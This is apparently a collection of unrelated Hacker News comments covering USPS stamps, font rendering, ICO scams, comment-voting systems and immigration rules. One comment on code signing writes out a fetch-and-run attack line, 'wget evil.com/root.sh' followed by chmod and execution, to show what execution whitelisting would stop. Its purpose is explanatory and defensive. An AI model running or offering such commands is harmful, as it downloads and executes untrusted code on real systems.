skysight-inc/HackerNews huggingface dataset:
> USPS does not make profit;

That's besides the point with respect to the comment you're responding, which is clearly about the profits from making and selling this stamp (rather than the USPS as a whole) -- and importantly, how the substance of this discussion (whether the stamp has a picture of the real or the fake Statue of Liberty) influence profits. Which I agree with grandparent that it probably doesn't, and why I think debating profits for the entire USPS isn't responsive to grandparent's comment (and why I find the awarded damages ridiculous in the first place).

In any case, for the sake of that argument, I think it's possible to discuss potential profits/losses from a single business activity/product without considering the gross profit for the entire company, organization or, in this case, government agency. Which leads to

> USPS is a private company.

No, it's not. "The United States Postal Service (USPS; also known as the Post Office, U.S. Mail, or Postal Service) is an independent agency of the United States federal government responsible for providing postal service in the United States, including its insular areas and associated states. It is one of the few government agencies explicitly authorized by the United States Constitution." https://en.wikipedia.org/wiki/United_States_Postal_Service

> Not that it matters anyways

Really? Just because a business is private doesn't mean that it doesn't matter if it turns a profit or not. Sure from some extreme and strictly capitalist (and even then, very narrow) viewpoint this might be the case.

Personally I think it matters quite a bit what companies make a profit (and can continue to exist), whether they be private, public, government-owned, and whether or not I own part of it. We live in a world dominated by capitalism where the success or failure of companies influences societies tremendously. I hope that the companies that conduct business in a way I support will turn a profit, and I hope that companies doing the opposite will loose and die.

Equifax would be a perfect example of the latter: In the absence of some sort of government action to administratively dissolve the corporation (which is rare but in their case, as one of few I can think of, would be entirely appropriate), Equifax is a company I sincerely hope will never again turn a profit.
How can I create a website in which the servers run on a VPN?
I want to make a website which is untraceable.
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> total wanker. ads do not benefit users

So would you be prepared to pay for every site you visit? I visit dozens of sites a day (e.g. by following links to new articles). If you had to pay for all of them it would quickly come up to a hefty bill.

One alternative could be micropayments, so you don't have to pay a monthly bill for the site, you'd only pay for the pages you visit. But until there is no generally accepted solution for this yet, ads are the only way to keep the net free.
I'm really glad that people are experimenting with commenting systems. There have been better systems in the past than Reddit or HN (such as Slashdot & Kuro5hin). Some ideas which could be explored again:

* Whether you should be allowed to both post comments and vote on a single article.

* Whether you should have a limited or unlimited number of votes per day or per article.

* Whether established users can apply multiple up/down votes to a comment.

* Should votes happen along other axes than up/down (eg. "Funny", "Interesting", "Relevant"<->"Off-topic").

* How could meta-moderation be made to work without it seeming like a slog to review other people's voting?

* Can we see who voted on a comment?

* Can we display comments in a more relevant order? At the moment the highest voted top comments are spread down the page, mixed in with lower voted replies.

* Should there be a limited or unlimited range of voting? Is a -15 comment substantively different from a -20 comment, probably not.
I never said anything about legality. Don't conflate concern about private companies engaging in practices that are harmful towards free speech with any questions about legality. I never mentioned "1st Amendment Rights" or asked (or otherwise implied) for the government to step in to protect free speech here.
1) Understood, and will do. How do you suggest I frame the 4 year gap in tech work though? "I decided that after 17 years of school, I wanted to take some time off to ski. That year off turned into 4 but now I'm back" ?

2) Right now I'm just building some small things that are useful utilities for my personal life, but after those I plan on doing some more advanced stuff with computer vision. I could probably create something that ties face recognition into a hotel valet system....

3) Maybe its just the pessimist in me, but I am afraid that managers think I'm just trying to escape the hospitality industry, rather than looking to make my mark in the tech industry. I do agree that it's been very useful though, I can get along well with anyone now. This kind of segues into why I'm asking about networking: I feel like on paper I'm not that impressive but if I can get to know someone in a hiring position at a software company they'll see how much of an asset I could be.

Now that I think about it, I can see how going to events might not have the effectiveness I'm looking for. Once I've built up my portfolio some more and am feeling more confident in my interviewing skills, I'll start sending emails out like you suggest. This impostor syndrome really holds me back some times I feel like.

Thank you for the response! Any further help is appreciated, particularly with how to frame my 4 year hiatus from tech.
Personally i prefer to disable antialiasing and if possible use bitmap fonts designed for clarity. Sadly almost nothing supports properly bitmap fonts these days (assuming it supports them in the first place - i think only GDI and X11 core does, but those are increasingly ignored by programs) and even when you can find support, finding good bitmap fonts is hard because it looks like most bitmap fonts are converted from outline fonts - but with jaggies.

As for what i consider a good bitmap font, in Windows MS Sans (the one you could find in Win9x, it was removed in later versions of Windows and aliased with MS Sans Serif which is an outline font), plain Courier and Fixedsys. On Linux i like the console font that you get when booting Debian (not sure what is called) as well as the Terminus fonts. On X11 i like the helv* fonts (usually registered as adobe helvetica - honestly, why is font registration on Xorg such a clusterfuck?) and some of the Fixed fonts (the smaller ones mainly, the larger are a bit too jaggy). On Mac... pretty much all of the original Macintosh fonts. I also like the "WarpSans" font that OS/2 (and eComStation) has, it is very compact and i like compact fonts (although i'm not fan of a few details, like the w being a bit too jaggy).
> But there are two killer features that most annotation software fail to supply:

I don't know what kind of annotation software you usually use, but I have yet to annotate a PDF and lose the ability of 1 and/or 2.

As for crowd-annotation services, I can only think of genius and medium. Genius does not preserve original format, but that is obviously unreasonable to expect (they're songs!). Medium is its own format, so rendering is accurate by definition.
> Surely that can't be true either or we'd be spending all our time saving people.

Advocates of effective altruism argue that the best of us do this, and that if we all did this, it wouldn't take all of our time.
I think the fashion has been moving the PC into the monitor , so that the keyboard can be wireless.
This exists in a couple of different forms on government student loans (Income Contingent Repayment for example), but it's the government that takes the hit, not the university. The university's incentive is to talk about the benefits of a well-rounded education, and I agree with that (One of my majors was Philosophy), but for a university to take what is now exceeding $100/hr of instruction on credit, for years on end, with no reasonable hope of hardship-free repayment sounds like Scientology or some other cult.
Slashdot is the grim reaper of commenting.
Non-AMP version: http://arstechnica.com/tech-policy/2018/07/post-office-owes-...

Mods, please update the link.
> "political speech like the OP is only (temporarily) blocked from paid promotion..."

In this case the political speech was only temporarily blocked, as the private company doing the blocking realized it was a bad decision. However if there was a government-imposed block on such free speech, then the government can (for all intents and purposes) permanently block it. For example see China's Great Wall.

> "..., not organic virality"

Well my concern is that an over-zealous campaign against advertising considered political would either block the video before it went viral, or lower its prioritization in news feeds such that it wouldn't been seen by much eyeballs and so it wouldn't catch on to go viral.
I actually have a problem with Amazon selling (some) copies of Mein Kampf as well: Neo-Nazi groups have been caught selling their own editions as a way to raise funds. That, to me, seems like a cut-and-dry example of a Bad Thing.

Like I said to 'ehsankia, it's intent that interests me.
I think they're just about equivalent -- especially since Knockout's addition of components explicitly as a paradigm (which was a loooong time ago[0]). It's really just a matter of where the hype-train ends up going over the years.

I tried out knockout's components way back when I saw the blog post[0], and they were pretty nice.

[0]: http://www.knockmeout.net/2014/06/knockout-3-2-preview-compo...
Yes, it's already too late for that :(

My wife complains sometimes that I don't talk to her anymore. After quietly turning her phone off, and putting it in a distant room, I explain why ;)
I think Windows has a feature to configure the subpixel arrangement, what about MacOS? Sure they know about the internal screen, but not the one you plug in.
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American made versus a foreign import?
> Slashdot is the grim reaper of commenting.

I've no idea what it's like now, but in its heyday you could set your comment threshold to +3 or +5 to read the dozen or so most insightful comments on each topic. That was a great reader-friendly time-saving device. As far as I know that's not possible on HN.
Seems similar to this issue with reading PDFs in Emacs (predates High Sierra, though): https://github.com/politza/pdf-tools/issues/51
The article you cite does not say the Obama Administration actively sought to find denaturalizable citizens, it says that an error which would have made citizens denaturalizable was discovered late in the Obama Administration, and a recommendation was made to identify all the effected persons and decide what course of action to take.

Yes, every Administration has reacted to discovery of information which would have made citizens denaturalizable, sometimes by pursuing denaturalization. Since the second Red Scare, however, the government has actively and specifically sought to find bases for denaturalization as a policy goal.
Everyone with substantial power should have less privacy. Politicians should have almost none.
Not as long as the competition lags behind.
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But just imagine how much richer Zuck would be, had he written Facebook in C and assembly!
Microsoft has been having similar font rendering issues for years, so I guess Apple felt left out of this club. They spent all this awesome work & research creating ClearType and then when Vista(?) happened they suddenly decided screw everything, let's switch back to grayscale antialiasing for no reason... now everything on the taskbar (or seemingly anything DWM-rendered) is grayscale-smoothed, which makes me want to tear my eyes out.
i thought that subpixel aa smoothed by using the individual channels (r, g, b) of a pixel, not by taking into account the physical shape of a pixel.
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I'd say most developers are docking with an external screen, and there are very few external screens that are retina. So yeah, I'd say most developers are using a non-retina screen.
Enjoy the House of Horror.

* http://jdebp.info./FGA/systemd-house-of-horror/
>Only load and run source or executable files with a trusted certificate

This kind of solution works well with the exception of pretty much any scripting-language. For example I hacked
up a cute linux security module to allow executions by the kernel to be validated via userspace:

https://github.com/skx/linux-security-modules/tree/master/se...

You could also use SELinux, AppArmor, and similar traditional approaches. Once you've picked a solution you could then go on to sign `/bin/ls`, `/bin/bash`, etc, and deny the execution of unsigned binaries such that this would fail:

wget evil.com/root.sh
chmod 755 root.sh
./root.sh

(This example assumes that you'd even permit `wget` and `chmod` to run.)

However the approach fails if you want to allow running perl, php, python-scripts, etc. You'd have to sign the interpreters so that they could run. But if you allow `python` to execute then there is no difference between:

python /path/to/good.py

and

python /path/to/evil.py

Since the executable in both cases is `python`, not the script. You'd have to hack the interpeters to do signature validation on your scripts - and if you did that you'd almost certainly need to update all the standard-libraries to allow those to be loaded.

(It is possible you could work around this via policies, but off the top of my head ..)
Yeah – on Mojave that checkbox still exists and unchecking it still makes fonts look different (less bold).
The font hurts my eye.
Try the beta before venting. It’s not the same thing.
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It’s a beta. Report it as a bug.
I'd like to add that Linux runs flawlessly on it. It has an extra hard drive slot that's really easy to access so I immediately slotted an extra SSD into it for Arch.
> You seem to have a poor understanding of both entropy and markets.

And you're a bit assuming and rude. Your argument also isn't as bulletproof you want to make it sound. What is the argument here, anyway? There's no need to improve technique for an average programmer because an outlier system (Facebook) is written in a language commonly associated with poor programming practices, with some handwaving about markets and entropy sprinkled on top?
There's a two week return window for MacBooks.
In another article I read they quoted the person in charge of the decision, who said that he found it on a stock photo site and just like that "newer take on Lady Liberty". Maybe he just thought it was from a different angle or was photoshopped to have softer features?
> Someone at Apple really seems to believe in pain as a motivator.

I think they simply believe they're large enough player to make such calls unilaterally, and that the rest of the industry will follow. And I fear they might be right - such decisions enter into the calculations of more "commoditized" vendors like peripheral manufacturers when they design next iterations of their products.

I mean, that's why removing the headphone jack is such a big deal even for people not using iPhones. Not just because we sympathize with iPhone owners - but because Apple is big enough to make this stupidity a new standard everywhere.
I'd imagine one could apply this network to a video of someone speaking
Elvis inmpersonators everywhere, beware!
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Tenzorum ripping off YC brand for ICO
https://tenzorum.org/

These guys aren't even in YC, but they happily put YC's logo on their website for ICO. Where can I report this?
> let's switch back to grayscale antialiasing for no reason...

The actual reason is that switching to hardware-accelerated font compositing means that you lose out on subpixel antialiasing, because of complications related to blending. The classic way of doing subpixel text rendering means you need three distinct alpha channels, and most hardware only lets you supply just one. There are ways of hacking around this with dual-source blending, but such a feature was not supported at the time of Vista. In Windows 8 and up, DirectWrite can now support hardware-accelerated subpixel AA, and the OS does so by default.
Nothing like some frothy sight-unseen outrage on a Saturday morning.
Thanks! And yes, we are still working on GraalSqueak. Adding support for Smalltalk Context objects is one of the biggest challenges as they allow sender modifications. This needs to be as fast as possible because it is heavily used for implementing exception handling in Smalltalk. More papers to follow soon.

In the meantime, check out some recent screenshots of it in action: https://twitter.com/fniephaus/status/1015194081297920000
Are you unaware of the Google Home Mini hardware bug that caused it to simply send everything you said? The failure modes here are plentiful and catastrophic, and the history of the teams developing these products gives us no reason to think that they're even considering our privacy in their risk profiles.
Today is a Saturday so I'll only cover my weekend routine.

* 6:30AM - Wake up, make coffee & check interent.

* 7AM - Wake up our toddler, feed him, dress him.

* 8AM - Hand the toddler over to my wife, who will care for him until he has his mid-day nap. Generally waking up again at 1PM.

* 8AM-1PM - Enjoy my own free time, surfing, smoking, sitting in a hammock, shopping, etc.

* 1PM-5PM - Entertain our toddler. Take him to a park, play with him at home, etc.

* 5PM-6PM - Relax some more - as my wife is in charge for an hour.

* 6PM-7:30PM - Play with the toddler, then give him a bath and put him to bed.

* 8PM - Watch TV with my wife, talk, or otherwise do stuff.

* 10PM - Go to sleep.

Weekdays I'm in charge from 7AM-4PM or so, and alternate giving the child a bath and putting him to sleep every other evening.

I wrote about this on my blog in the past:

https://blog.steve.fi/how_we_care_for_our_child.html
They tend to warn before fining, but nonetheless: https://ico.org.uk/action-weve-taken/enforcement/
You'd codesign the scripts, yeah. I've done that before when using an interpreter. It's not trivial but all the major script runtimes that matter have relevant embedding hooks to let you do it.
I swear these ICOs now a days are getting even more scammy by the month.
I don't follow the connection between your link and your comment. The user you replied to was, themselves, replying to another user making appeals to expertise about what "the literature" says, without actually supplying that literature.

The burden of proof is on the person making the claims. What is freely asserted is freely dismissed. How would the user you replied to even go about searching for the citation, given so little information to go off of?

The link you provided seems to allude to someone announcing their personal preference, which should not have to be defended. Assertions of what scientific literature have established as accepted wisdom are free game for questioning. That's what gives theories their fundamental efficacy, being able to withstand reasonable criticism.
What, do ICOs scream "integrity" to you?
DDG themselves elaborated a bit about that in their previous Sources page:

> Bing and Google each spend hundreds of millions of dollars a year crawling and indexing the deep Web. It costs so much that even big companies like Yahoo and Ask are giving up general crawling and indexing. Therefore, it seems silly to compete on crawling and, besides, we do not have the money to do so. Instead, we've focused on building a better search engine by concentrating on what we think are long-term value-adds -- having way more instant answers, way less spam, real privacy and a better overall search experience.
First of all, an H-1B does not give someone not a lawful permanent residence. Second of all, it seems like his/her employer screwed up. The poster was vague on the timing, but if accurate, the employer was supposed to notify USCIS about the change prior to it taking affect (hence the response that they were not notified on time).

“If you do not file an amended petition for these employees…,
you will be out of compliance with USCIS regulation and
policy and thus subject to adverse action. Similarly,
your H-1B employees would not be maintaining their
nonimmigrant status and would also be subject to
adverse action.

This is from a decision made in 2015. By changing locations prior to notification, they didn’t maintain their status. No ill will or targeting. USCIS did exactly what they said they would do.
Still open discussion of the original, of which this is a news report:

* https://news.ycombinator.com/item?id=17447816
Hey there, love the idiosyncratic design of your site. I'm interested in reading through this, but the about section left me a little confused.

Also, is computational existentialism a term of your own? If so, could you define it for me?
The profit they make by selling stamps that go unused, though, really can't be separated from the rest of their activities. They make that particular profit in a way other organizations can't really, but it helps balance out their losses elsewhere. And they certainly aren't making the profit based on the image on the stamp.

It's almost like talking about the profit that a grocery store's checkout line makes, independent of the losses of their other business activities, such as stocking the shelves with groceries.
> I find it funny that the article's conclusion is "stop giving informational support when emotional support is asked for" rather than "stop asking for emotional support when only informational support is up for offer".

The article does give advice on how to get better at offering emotional support. Relationship counselors can probably give better advice. I know it's harder for some people than for others, but you have to make compromises and step out of your comfort zone to maintain a relationship.

If things have reached a point where the best advice one can offer is "stop asking your partner to support you emotionally," then I don't think that relationship has a future.
Because it can easily be misused.

For example: Trump is one of those people that can change the US into something you would not imagine a year ago.

It's very easy to say that this wont happen but I also thought Trump would never become a president...
Here's a comparison, so we can comment on he actual difference:

http://www.framecompare.com/image-compare/screenshotcomparis...
You're old enough to kill but not for votin' (1964) [0]

[0] https://en.m.wikipedia.org/wiki/Eve_of_Destruction_(song)
Yes. But how do you know if it’s RGB or BGR or GBR etc? Sometimes there’s a fourth subpixel for white too.

On Windows there used to be a wizard where you had to choose which one looks better to let the system figure out your display’s subpixel arrangement.
http://www.framecompare.com/image-compare/screenshotcomparis...
You think the ability to work remotely is a more significant health-benefit than tackling water-shortages, obesity, drugs, and climate change?

It is OK to have a niche, and to use hyperbole, but when it comes to human health and happiness I'm certain there are more significant issues which are real, and growing, than where somebody works (if they can, must, or even do have a job).
I'm not sure about the peering connections but Uganda does have a good range of ISPs (outside of Kampala connectivity is mobile network only).

The mobile providers are:

- Africell (was orange)

- MTN

- Airtel

- Smile

- Uganda Telecom